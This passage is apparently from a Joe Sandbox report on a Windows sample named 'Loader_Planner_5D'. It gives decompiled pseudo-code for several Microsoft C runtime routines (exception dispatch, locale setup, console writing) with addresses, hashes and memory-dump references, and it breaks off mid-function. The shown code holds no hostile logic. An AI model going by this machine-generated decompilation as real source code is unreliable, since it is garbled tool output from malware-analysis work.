Download Yara Rule

C-Code - Quality: 61%

			E00007FF77FF710645C2C(void* __edx, intOrPtr* __rcx, void* __rdx, long long __r8, void* __r9) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t94;
				intOrPtr _t95;
				intOrPtr _t125;
				void* _t126;
				void* _t136;
				intOrPtr _t137;
				signed long long _t143;
				long long _t145;
				long long _t150;
				void* _t151;
				intOrPtr* _t171;
				long long _t182;
				long long _t183;
				intOrPtr* _t184;
				void* _t185;
				intOrPtr* _t186;
				intOrPtr* _t187;
				void* _t188;
				signed long long _t189;
				intOrPtr _t197;
				void* _t204;
				long long _t205;

				_t126 = __edx;
				_t187 = _t188 - 0x38;
				_t189 = _t188 - 0x138;
				_t143 =  *0x10689010; // 0xafe3859a1ce3
				 *(_t187 + 0x28) = _t143 ^ _t189;
				_t185 = __r9;
				_t145 =  *((intOrPtr*)(_t187 + 0xb8));
				_t204 = __rdx;
				_t205 =  *((intOrPtr*)(_t187 + 0xa0));
				_t186 = __rcx;
				 *((long long*)(_t189 + 0x70)) = _t145;
				 *((long long*)(_t189 + 0x78)) = __r8;
				if ( *__rcx == 0x80000003) goto 0x10645ef5;
				E00007FF77FF710644570(_t145);
				r12d =  *((intOrPtr*)(_t187 + 0xb0));
				r15d =  *((intOrPtr*)(_t187 + 0xa8));
				if ( *((long long*)(_t145 + 0x10)) == 0) goto 0x10645cf4;
				__imp__EncodePointer();
				_t160 = _t145;
				E00007FF77FF710644570(_t145);
				if ( *((intOrPtr*)(_t145 + 0x10)) == _t145) goto 0x10645cf4;
				if ( *__rcx == 0xe0434f4d) goto 0x10645cf4;
				if ( *__rcx == 0xe0434352) goto 0x10645cf4;
				 *((intOrPtr*)(_t189 + 0x38)) = r15d;
				 *(_t189 + 0x30) =  *((intOrPtr*)(_t189 + 0x70));
				 *((intOrPtr*)(_t189 + 0x28)) = r12d;
				 *((long long*)(_t189 + 0x20)) = _t205;
				if (E00007FF77FF710642F74(__rcx, __rdx,  *((intOrPtr*)(_t189 + 0x78)), __r9) != 0) goto 0x10645ef5;
				E00007FF77FF71064674C(_t187, _t205,  *((intOrPtr*)(__r9 + 8)));
				if ( *_t187 <= 0) goto 0x10645f15;
				 *((intOrPtr*)(_t189 + 0x28)) = r12d;
				 *((long long*)(_t189 + 0x20)) = _t205;
				r8d = r15d;
				_t94 = E00007FF77FF71064344C(_t145, _t187 - 0x70, _t187, _t185, __rcx, _t187);
				asm("movups xmm0, [ebp-0x70]");
				asm("movdqu [ebp-0x80], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("movd eax, xmm0");
				if (_t94 -  *((intOrPtr*)(_t187 - 0x58)) >= 0) goto 0x10645ef5;
				_t95 =  *((intOrPtr*)(_t187 - 0x78));
				 *((long long*)(_t189 + 0x68)) =  *((intOrPtr*)(_t187 - 0x70));
				 *((intOrPtr*)(_t189 + 0x60)) = _t95;
				asm("inc ecx");
				asm("dec ax");
				asm("movups [ebp-0x80], xmm0");
				if (_t95 - r15d > 0) goto 0x10645e5b;
				_t136 = r15d - _t95;
				if (_t136 > 0) goto 0x10645e5b;
				r9d =  *((intOrPtr*)( *((intOrPtr*)(_t185 + 0x10))));
				E00007FF77FF7106466D0( *((intOrPtr*)(_t185 + 0x10)), _t187 - 0x50, _t187 - 0x80,  *((intOrPtr*)(_t185 + 8)));
				 *((long long*)(_t187 - 0x48)) =  *((intOrPtr*)(_t187 - 0x40));
				E00007FF77FF710646CBC( *((intOrPtr*)(_t187 - 0x40)), _t187 - 0x50);
				_t150 =  *((intOrPtr*)(_t187 - 0x40));
				 *((long long*)(_t187 - 0x48)) = _t150;
				E00007FF77FF710646CBC(_t150, _t187 - 0x50);
				if (_t136 == 0) goto 0x10645dd2;
				E00007FF77FF710646CBC(_t150, _t187 - 0x50);
				if (_t136 != 0) goto 0x10645dc3;
				_t137 =  *((intOrPtr*)(_t187 - 0x30));
				if (_t137 == 0) goto 0x10645e00;
				E00007FF77FF710643A30(_t150);
				_t151 = _t150 +  *((intOrPtr*)(_t187 - 0x30));
				if (_t137 == 0) goto 0x10645e00;
				if (_t126 == 0) goto 0x10645df8;
				E00007FF77FF710643A30(_t151);
				goto 0x10645dfa;
				if ( *((char*)(_t151 +  *((intOrPtr*)(_t187 - 0x30)) + 0x10)) != 0) goto 0x10645e4f;
				if (( *(_t187 - 0x34) & 0x00000040) != 0) goto 0x10645e4f;
				 *((char*)(_t189 + 0x58)) = 0;
				_t171 = _t186;
				 *((char*)(_t189 + 0x50)) = 1;
				 *((long long*)(_t189 + 0x48)) =  *((intOrPtr*)(_t189 + 0x70));
				 *((intOrPtr*)(_t189 + 0x40)) = r12d;
				 *((long long*)(_t189 + 0x38)) = _t187 - 0x80;
				 *(_t189 + 0x30) =  *(_t189 + 0x30) & 0x00000000;
				 *((long long*)(_t189 + 0x28)) = _t187 - 0x38;
				 *((long long*)(_t189 + 0x20)) = _t205;
				E00007FF77FF710644F68(0, _t160 - 1, _t171, _t204,  *((intOrPtr*)(_t189 + 0x78)), _t185);
				_t197 =  *((intOrPtr*)(_t189 + 0x68));
				_t182 =  *((intOrPtr*)(_t197 + 8)) -  *((char*)(_t171 + 0x7ff71066c650));
				 *((long long*)(_t197 + 8)) = _t182;
				 *(_t197 + 0x18) =  *(_t182 - 4) >>  *(_t171 + 0x7ff71066c660);
				_t183 = _t182 -  *((char*)(_t171 + 0x7ff71066c650));
				 *((long long*)(_t197 + 8)) = _t183;
				 *(_t197 + 0x1c) =  *(_t183 - 4) >>  *(_t171 + 0x7ff71066c660);
				_t184 = _t183 -  *((char*)(_t171 + 0x7ff71066c650));
				 *(_t197 + 0x20) =  *(_t184 - 4) >>  *(_t171 + 0x7ff71066c660);
				 *((long long*)(_t197 + 8)) = _t184;
				 *((intOrPtr*)(_t197 + 0x24)) =  *_t184;
				_t125 =  *((intOrPtr*)(_t189 + 0x60)) + 1;
				 *((long long*)(_t197 + 8)) = _t184 + 4;
				 *((intOrPtr*)(_t189 + 0x60)) = _t125;
				if (_t125 -  *((intOrPtr*)(_t187 - 0x58)) < 0) goto 0x10645d5d;
				return E00007FF77FF710641DF0( *(_t184 - 4) >>  *(_t171 + 0x7ff71066c660), _t125,  *(_t187 + 0x28) ^ _t189);
			}

0x7ff710645c2c
0x7ff710645c39
0x7ff710645c3e
0x7ff710645c45
0x7ff710645c4f
0x7ff710645c59
0x7ff710645c5c
0x7ff710645c63
0x7ff710645c66
0x7ff710645c6d
0x7ff710645c70
0x7ff710645c75
0x7ff710645c7a
0x7ff710645c80
0x7ff710645c85
0x7ff710645c8c
0x7ff710645c98
0x7ff710645c9c
0x7ff710645ca2
0x7ff710645ca5
0x7ff710645cae
0x7ff710645cb6
0x7ff710645cbe
0x7ff710645cd0
0x7ff710645cd8
0x7ff710645cdd
0x7ff710645ce2
0x7ff710645cee
0x7ff710645cff
0x7ff710645d08
0x7ff710645d0e
0x7ff710645d1a
0x7ff710645d1f
0x7ff710645d26
0x7ff710645d2b
0x7ff710645d2f
0x7ff710645d34
0x7ff710645d39
0x7ff710645d40
0x7ff710645d51
0x7ff710645d54
0x7ff710645d59
0x7ff710645d5d
0x7ff710645d62
0x7ff710645d67
0x7ff710645d6e
0x7ff710645d78
0x7ff710645d7b
0x7ff710645d91
0x7ff710645d94
0x7ff710645da1
0x7ff710645da5
0x7ff710645daa
0x7ff710645db5
0x7ff710645db9
0x7ff710645dc1
0x7ff710645dc7
0x7ff710645dd0
0x7ff710645dd2
0x7ff710645dd6
0x7ff710645dd8
0x7ff710645de1
0x7ff710645de4
0x7ff710645de8
0x7ff710645dea
0x7ff710645df6
0x7ff710645dfe
0x7ff710645e04
0x7ff710645e16
0x7ff710645e1b
0x7ff710645e1e
0x7ff710645e23
0x7ff710645e2c
0x7ff710645e31
0x7ff710645e3a
0x7ff710645e40
0x7ff710645e45
0x7ff710645e4a
0x7ff710645e4f
0x7ff710645e76
0x7ff710645e7e
0x7ff710645e82
0x7ff710645e9d
0x7ff710645ea5
0x7ff710645ea9
0x7ff710645ec4
0x7ff710645ecc
0x7ff710645ed4
0x7ff710645eda
0x7ff710645ee2
0x7ff710645ee4
0x7ff710645ee8
0x7ff710645eef
0x7ff710645f14

APIs

EncodePointer.KERNEL32 ref: 00007FF710645C9C
_CallSETranslator.LIBVCRUNTIME ref: 00007FF710645CE7

Strings

RCC, xrefs: 00007FF710645CB8
MOC, xrefs: 00007FF710645CB0

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 174b30db455f85e15f6bdc479dbb3a5ecd4827776f760dbd5942d5df1ebe4425
Instruction ID: f3abfead602fba03e5616ed3e4f67c776dd8954f26cd2e76452b24d009509013
Opcode Fuzzy Hash: 174b30db455f85e15f6bdc479dbb3a5ecd4827776f760dbd5942d5df1ebe4425
Instruction Fuzzy Hash: 2C91B473A08B858AE750EF64E4802ADBBB2FB44798F54413AEE4D47B55DF38E199C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710645A10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF710645A10(long long __rbx, intOrPtr* __rcx, long long __rdx, long long __r8, void* __r9) {
				void* _t19;
				void* _t27;
				void* _t36;
				void* _t39;
				void* _t42;
				void* _t43;
				void* _t45;
				void* _t46;
				void* _t52;
				void* _t54;
				void* _t56;
				void* _t59;

				_t27 = _t45;
				 *((long long*)(_t27 + 0x20)) = __rbx;
				 *((long long*)(_t27 + 0x18)) = __r8;
				 *((long long*)(_t27 + 0x10)) = __rdx;
				_t43 = _t27 - 0x3f;
				_t46 = _t45 - 0xc0;
				if ( *__rcx == 0x80000003) goto 0x10645ab4;
				E00007FF77FF710644570(_t27);
				r12d =  *((intOrPtr*)(_t43 + 0x6f));
				if ( *((long long*)(_t27 + 0x10)) == 0) goto 0x10645acf;
				__imp__EncodePointer(_t59, _t56, _t54, _t52, _t36, _t39, _t42);
				E00007FF77FF710644570(_t27);
				if ( *((intOrPtr*)(_t27 + 0x10)) == _t27) goto 0x10645acf;
				if ( *__rcx == 0xe0434f4d) goto 0x10645acf;
				r13d =  *((intOrPtr*)(_t43 + 0x77));
				if ( *__rcx == 0xe0434352) goto 0x10645ad3;
				 *((intOrPtr*)(_t46 + 0x38)) = r12d;
				 *((long long*)(_t46 + 0x30)) =  *((intOrPtr*)(_t43 + 0x7f));
				 *((intOrPtr*)(_t46 + 0x28)) = r13d;
				 *((long long*)(_t46 + 0x20)) =  *((intOrPtr*)(_t43 + 0x67));
				_t19 = E00007FF77FF710642F20(__rcx,  *((intOrPtr*)(_t43 + 0x4f)), __r8, __r9);
				if (_t19 == 0) goto 0x10645ad3;
				return _t19;
			}

0x7ff710645a10
0x7ff710645a13
0x7ff710645a17
0x7ff710645a1b
0x7ff710645a2a
0x7ff710645a2e
0x7ff710645a44
0x7ff710645a46
0x7ff710645a4b
0x7ff710645a58
0x7ff710645a5c
0x7ff710645a65
0x7ff710645a6e
0x7ff710645a77
0x7ff710645a80
0x7ff710645a84
0x7ff710645a94
0x7ff710645a9c
0x7ff710645aa1
0x7ff710645aa6
0x7ff710645aab
0x7ff710645ab2
0x7ff710645ace

APIs

EncodePointer.KERNEL32 ref: 00007FF710645A5C
_CallSETranslator.LIBVCRUNTIME ref: 00007FF710645AAB

Strings

RCC, xrefs: 00007FF710645A79
MOC, xrefs: 00007FF710645A70

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: fb350df9fa1713a67abec8a9aeebcae457942a46377dbac40cad3ec95dae94e4
Instruction ID: 25d757e950bb5497550c357fff29294f41919b57358c9f79798b8a40190d0cc6
Opcode Fuzzy Hash: fb350df9fa1713a67abec8a9aeebcae457942a46377dbac40cad3ec95dae94e4
Instruction Fuzzy Hash: 0B616D32A08F858AE710EF65D0803ADB7A1FB44B98F544226EF4D57B99DF78E588C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106461A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00007FF77FF7106461A0(void* __esi, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r9, void* _a8, void* _a16, void* _a24, void* _a32, signed int* _a40, char _a48, signed int _a56, signed int _a64) {
				signed int _v32;
				long long _v40;
				char _v48;
				signed int* _v56;
				void* _t55;
				intOrPtr _t60;
				signed int _t101;
				void* _t109;
				intOrPtr _t111;
				signed int* _t115;
				intOrPtr* _t136;
				void* _t139;
				void* _t142;
				void* _t144;
				void* _t158;
				void* _t159;

				_t109 = _t144;
				 *((long long*)(_t109 + 8)) = __rbx;
				 *((long long*)(_t109 + 0x10)) = __rbp;
				 *((long long*)(_t109 + 0x18)) = __rsi;
				 *((long long*)(_t109 + 0x20)) = __rdi;
				_t136 = __rcx;
				_t139 = __r9;
				_t159 = __r8;
				_t142 = __rdx;
				E00007FF77FF710647824(_t55, __r8);
				E00007FF77FF710644570(_t109);
				_t115 = _a40;
				if ( *((intOrPtr*)(_t109 + 0x40)) != 0) goto 0x10646222;
				if ( *__rcx == 0xe06d7363) goto 0x10646222;
				if ( *__rcx != 0x80000029) goto 0x10646206;
				if ( *((intOrPtr*)(__rcx + 0x18)) != 0xf) goto 0x1064620a;
				if ( *((long long*)(__rcx + 0x60)) == 0x19930520) goto 0x10646222;
				if ( *__rcx == 0x80000026) goto 0x10646222;
				if (( *_t115 & 0x1fffffff) - 0x19930522 < 0) goto 0x10646222;
				if ((_t115[9] & 0x00000001) != 0) goto 0x106463b1;
				if (( *(__rcx + 4) & 0x00000066) == 0) goto 0x106462ba;
				if (_t115[1] == 0) goto 0x106463b1;
				if (_a48 != 0) goto 0x106463b1;
				if (( *(__rcx + 4) & 0x00000020) == 0) goto 0x106462a7;
				if ( *__rcx != 0x80000026) goto 0x10646285;
				_t60 = E00007FF77FF7106447B4(_t115, __r9,  *((intOrPtr*)(__r9 + 0x20)), __r9);
				if (_t60 - 0xffffffff < 0) goto 0x106463d1;
				if (_t60 - _t115[1] >= 0) goto 0x106463d1;
				r9d = _t60;
				E00007FF77FF710646F08(_t109, _t142, __r9, _t115);
				goto 0x106463b1;
				if ( *_t136 != 0x80000029) goto 0x106462a7;
				r9d =  *((intOrPtr*)(_t136 + 0x38));
				if (r9d - 0xffffffff < 0) goto 0x106463d1;
				if (r9d - _t115[1] >= 0) goto 0x106463d1;
				goto 0x10646275;
				E00007FF77FF710643184(r9d - _t115[1], _t109, _t115, __r9, __r9, _t115);
				goto 0x106463b1;
				if (_t115[3] != 0) goto 0x10646302;
				if (( *_t115 & 0x1fffffff) - 0x19930521 < 0) goto 0x106462e2;
				_t101 = _t115[8];
				if (_t101 == 0) goto 0x106462e2;
				E00007FF77FF710643A30(_t109);
				if (_t101 != 0) goto 0x10646302;
				if (( *_t115 & 0x1fffffff) - 0x19930522 < 0) goto 0x106463b1;
				if ((_t115[9] >> 0x00000002 & 0x00000001) == 0) goto 0x106463b1;
				if ( *_t136 != 0xe06d7363) goto 0x10646378;
				if ( *((intOrPtr*)(_t136 + 0x18)) - 3 < 0) goto 0x10646378;
				if ( *((intOrPtr*)(_t136 + 0x20)) - 0x19930522 <= 0) goto 0x10646378;
				_t111 =  *((intOrPtr*)(_t136 + 0x30));
				if ( *((intOrPtr*)(_t111 + 8)) == 0) goto 0x10646378;
				E00007FF77FF710643A44(_t111);
				if (_t111 +  *((intOrPtr*)( *((intOrPtr*)(_t136 + 0x30)) + 8)) == 0) goto 0x10646378;
				_v32 = _a64 & 0x000000ff;
				_v40 = _a56;
				_v48 = _a48;
				_v56 = _t115;
				 *0x1066c3d0(_t158);
				goto 0x106463b6;
				_v32 = _a56;
				_v40 = _a48;
				_v48 = _a64;
				_v56 = _t115;
				E00007FF77FF71064503C(_a64 & 0x000000ff, 0x80000026, __esi, _t136, _t142, _t159, _t139, _t111 +  *((intOrPtr*)( *((intOrPtr*)(_t136 + 0x30)) + 8)));
				return 1;
			}

0x7ff7106461a0
0x7ff7106461a3
0x7ff7106461a7
0x7ff7106461ab
0x7ff7106461af
0x7ff7106461b9
0x7ff7106461bc
0x7ff7106461c2
0x7ff7106461c5
0x7ff7106461c8
0x7ff7106461cd
0x7ff7106461d2
0x7ff7106461e8
0x7ff7106461f0
0x7ff7106461f4
0x7ff7106461fa
0x7ff710646204
0x7ff710646208
0x7ff710646216
0x7ff71064621c
0x7ff710646226
0x7ff710646230
0x7ff71064623e
0x7ff710646248
0x7ff71064624c
0x7ff710646258
0x7ff710646260
0x7ff710646269
0x7ff71064626f
0x7ff71064627b
0x7ff710646280
0x7ff710646287
0x7ff710646289
0x7ff710646291
0x7ff71064629b
0x7ff7106462a5
0x7ff7106462b0
0x7ff7106462b5
0x7ff7106462be
0x7ff7106462cc
0x7ff7106462ce
0x7ff7106462d2
0x7ff7106462d4
0x7ff7106462e0
0x7ff7106462ee
0x7ff7106462fc
0x7ff710646308
0x7ff71064630e
0x7ff710646317
0x7ff710646319
0x7ff710646321
0x7ff710646323
0x7ff710646336
0x7ff71064634d
0x7ff71064635c
0x7ff710646364
0x7ff71064636b
0x7ff710646370
0x7ff710646376
0x7ff710646383
0x7ff710646395
0x7ff7106463a3
0x7ff7106463a7
0x7ff7106463ac
0x7ff7106463d0

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7106461C8
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7106462B0

Strings

csm, xrefs: 00007FF710646302
csm, xrefs: 00007FF7106461EA

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: e12f5cece4006344d60aee2927312e2457e96cf235cc0b5fe2b67a2ecfde1174
Instruction ID: 5f9c9dd35ad29b281011eb0afdb766ea75429d25a13516943e7c823378b5906b
Opcode Fuzzy Hash: e12f5cece4006344d60aee2927312e2457e96cf235cc0b5fe2b67a2ecfde1174
Instruction Fuzzy Hash: DF51F832908A82C6EB74AF119044369B7A2FB49BA4F945135EA8C837D5CF7CFC54C712

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710621E40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00007FF77FF710621E40(long long __rax, long long __rbx, long long* __rcx, void* __rdx, long long __rsi) {
				void* _t42;
				void* _t52;
				intOrPtr _t77;
				void* _t91;
				long long* _t92;
				long long _t95;
				void* _t97;
				void* _t98;
				void* _t100;
				void* _t103;
				long long _t105;

				_t68 = __rax;
				 *((long long*)(_t100 + 0x10)) = __rbx;
				 *((long long*)(_t100 + 0x18)) = __rsi;
				_t98 = _t100 - 0x47;
				_t92 = __rcx;
				r14d = 0;
				if (__rcx == 0) goto 0x10621fa0;
				if ( *((intOrPtr*)(__rcx)) != _t105) goto 0x10621fa0;
				_t4 = _t105 + 0x30; // 0x30
				_t55 = _t4;
				_t42 = E00007FF77FF710641E18(__rax, __rcx);
				_t95 = __rax;
				 *((long long*)(_t98 + 0x67)) = __rax;
				_t77 =  *((intOrPtr*)(__rdx + 8));
				if (_t77 == 0) goto 0x10621e9d;
				if ( *((intOrPtr*)(_t77 + 0x28)) != 0) goto 0x10621ea4;
				goto 0x10621ea4;
				E00007FF77FF7106617CC(_t42, 0, _t98 - 0x49);
				 *((long long*)(_t98 - 0x41)) = _t105;
				 *((char*)(_t98 - 0x39)) = 0;
				 *((long long*)(_t98 - 0x31)) = _t105;
				 *((char*)(_t98 - 0x29)) = 0;
				 *((long long*)(_t98 - 0x21)) = _t105;
				 *((intOrPtr*)(_t98 - 0x19)) = r14w;
				 *((long long*)(_t98 - 0x11)) = _t105;
				 *((intOrPtr*)(_t98 - 9)) = r14w;
				 *((long long*)(_t98 - 1)) = _t105;
				 *((char*)(_t98 + 7)) = 0;
				 *((long long*)(_t98 + 0xf)) = _t105;
				 *((char*)(_t98 + 0x17)) = 0;
				if (0x1067adf3 == 0) goto 0x10621fbd;
				E00007FF77FF710662014(_t68, 0x1067adf3, _t98 - 0x49, 0x1067adf3);
				 *((intOrPtr*)(_t95 + 8)) = r14d;
				 *_t95 = 0x10677700;
				E00007FF77FF710662534(_t4, 0, 0x10677700, _t98 + 0x1f, 0x1067adf3, _t95, _t103);
				asm("movups xmm0, [eax]");
				asm("movups [esi+0x10], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [esi+0x20], xmm1");
				 *_t92 = _t95;
				E00007FF77FF710662080(_t98 - 0x49);
				if ( *((intOrPtr*)(_t98 + 0xf)) == 0) goto 0x10621f38;
				E00007FF77FF7106495A0(_t4, 0, 0x1067adf3, 0x1067adf3, _t105);
				 *((long long*)(_t98 + 0xf)) = _t105;
				if ( *((intOrPtr*)(_t98 - 1)) == 0) goto 0x10621f4a;
				E00007FF77FF7106495A0(_t4, 0, 0x1067adf3, 0x1067adf3, _t91);
				 *((long long*)(_t98 - 1)) = _t105;
				if ( *((intOrPtr*)(_t98 - 0x11)) == 0) goto 0x10621f5c;
				E00007FF77FF7106495A0(_t55, 0, 0x1067adf3, 0x1067adf3, _t97);
				 *((long long*)(_t98 - 0x11)) = _t105;
				if ( *((intOrPtr*)(_t98 - 0x21)) == 0) goto 0x10621f6e;
				E00007FF77FF7106495A0(_t55, 0, 0x1067adf3, 0x1067adf3);
				 *((long long*)(_t98 - 0x21)) = _t105;
				if ( *((intOrPtr*)(_t98 - 0x31)) == 0) goto 0x10621f80;
				E00007FF77FF7106495A0(_t55, 0, 0x1067adf3, 0x1067adf3);
				 *((long long*)(_t98 - 0x31)) = _t105;
				if ( *((intOrPtr*)(_t98 - 0x41)) == 0) goto 0x10621f92;
				_t52 = E00007FF77FF7106495A0(_t55, 0, 0x1067adf3, 0x1067adf3);
				 *((long long*)(_t98 - 0x41)) = _t105;
				E00007FF77FF710661844(_t52, _t98 - 0x49);
				return 2;
			}

0x7ff710621e40
0x7ff710621e40
0x7ff710621e45
0x7ff710621e4e
0x7ff710621e5d
0x7ff710621e60
0x7ff710621e66
0x7ff710621e6f
0x7ff710621e75
0x7ff710621e75
0x7ff710621e79
0x7ff710621e7e
0x7ff710621e81
0x7ff710621e85
0x7ff710621e8c
0x7ff710621e95
0x7ff710621e9b
0x7ff710621eaa
0x7ff710621eb0
0x7ff710621eb4
0x7ff710621eb8
0x7ff710621ebc
0x7ff710621ec0
0x7ff710621ec4
0x7ff710621ec9
0x7ff710621ecd
0x7ff710621ed2
0x7ff710621ed6
0x7ff710621eda
0x7ff710621ede
0x7ff710621ee5
0x7ff710621ef2
0x7ff710621ef8
0x7ff710621f03
0x7ff710621f0a
0x7ff710621f0f
0x7ff710621f12
0x7ff710621f16
0x7ff710621f1a
0x7ff710621f1e
0x7ff710621f25
0x7ff710621f31
0x7ff710621f33
0x7ff710621f38
0x7ff710621f43
0x7ff710621f45
0x7ff710621f4a
0x7ff710621f55
0x7ff710621f57
0x7ff710621f5c
0x7ff710621f67
0x7ff710621f69
0x7ff710621f6e
0x7ff710621f79
0x7ff710621f7b
0x7ff710621f80
0x7ff710621f8b
0x7ff710621f8d
0x7ff710621f92
0x7ff710621f9a
0x7ff710621fbc

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF710621EAA
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF710621EF2
_Getctype.LIBCPMT ref: 00007FF710621F0A

Strings

bad locale name, xrefs: 00007FF710621FBD

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: std::_$GetctypeLocinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1612978173-1405518554
Opcode ID: 3e4bb09634043e2ed813c18db4123d3f5926d73b2190c37c8af28d2428f111e0
Instruction ID: c3918c914253083722470f896ac8947119358786673f070b77202c06761d649b
Opcode Fuzzy Hash: 3e4bb09634043e2ed813c18db4123d3f5926d73b2190c37c8af28d2428f111e0
Instruction Fuzzy Hash: 68419A26B09F418AEB14EFB0D4502BCB3B6AF50758F844034DE4D26B95DF38E51AD361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106510DC Relevance: 6.3, APIs: 4, Instructions: 305
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 54%

			E00007FF77FF7106510DC(void* __ecx, signed int __edx, void* __esi, long long __rbx, intOrPtr* __rcx, long long __r8) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				intOrPtr _t182;
				signed int _t186;
				signed int _t193;
				signed int _t198;
				void* _t212;
				signed char _t213;
				void* _t229;
				void* _t262;
				signed long long _t263;
				signed long long _t266;
				long long _t268;
				signed long long _t270;
				long long _t275;
				long long _t277;
				long long _t279;
				intOrPtr* _t288;
				intOrPtr _t293;
				long long _t294;
				long long _t317;
				void* _t325;
				long long _t326;
				void* _t327;
				long long _t328;
				intOrPtr* _t329;
				long long _t330;
				signed char* _t331;
				signed char* _t332;
				signed char* _t333;
				intOrPtr* _t334;
				void* _t335;
				void* _t336;
				signed long long _t337;
				intOrPtr _t340;
				signed long long _t342;
				void* _t344;
				intOrPtr* _t346;
				intOrPtr _t350;
				signed long long _t355;
				signed long long _t358;
				signed long long _t360;
				void* _t363;
				long long _t364;
				long long _t366;
				char _t367;
				void* _t371;
				signed char* _t372;
				signed long long _t374;

				_t262 = _t336;
				_t335 = _t262 - 0x57;
				_t337 = _t336 - 0xe0;
				 *((long long*)(_t335 - 9)) = 0xfffffffe;
				 *((long long*)(_t262 + 8)) = __rbx;
				_t263 =  *0x10689010; // 0xafe3859a1ce3
				 *(_t335 + 0x17) = _t263 ^ _t337;
				_t329 = __r8;
				 *((long long*)(_t335 - 0x49)) = __r8;
				_t288 = __rcx;
				_t366 =  *((intOrPtr*)(_t335 + 0x7f));
				 *((long long*)(_t335 - 0x51)) = _t366;
				 *(_t335 - 0x19) = __edx;
				_t266 = __edx >> 6;
				 *(_t335 - 0x59) = _t266;
				 *(_t335 - 0x11) = __edx;
				_t374 = __edx + __edx * 8;
				_t268 =  *((intOrPtr*)( *((intOrPtr*)(0x7ff710620000 + 0x6b470 + _t266 * 8)) + 0x28 + _t374 * 8));
				 *((long long*)(_t335 - 0x29)) = _t268;
				r12d = r9d;
				_t364 = _t363 + __r8;
				 *((long long*)(_t335 - 0x71)) = _t364;
				 *((intOrPtr*)(_t335 - 0x61)) = GetConsoleOutputCP();
				if ( *((intOrPtr*)(_t366 + 0x28)) != dil) goto 0x1065117c;
				E00007FF77FF71064B0B0(_t268, __rcx, _t366, 0x7ff710620000, __r8);
				_t24 = _t366 + 0x18; // 0x894c08245c8948cc
				_t293 =  *_t24;
				r8d =  *(_t293 + 0xc);
				 *(_t335 - 0x5d) = r8d;
				 *_t288 = _t268;
				 *((intOrPtr*)(_t288 + 8)) = 0;
				if ( *((intOrPtr*)(_t335 - 0x49)) - _t364 >= 0) goto 0x1065153c;
				_t270 = __edx >> 6;
				 *(_t335 - 0x21) = _t270;
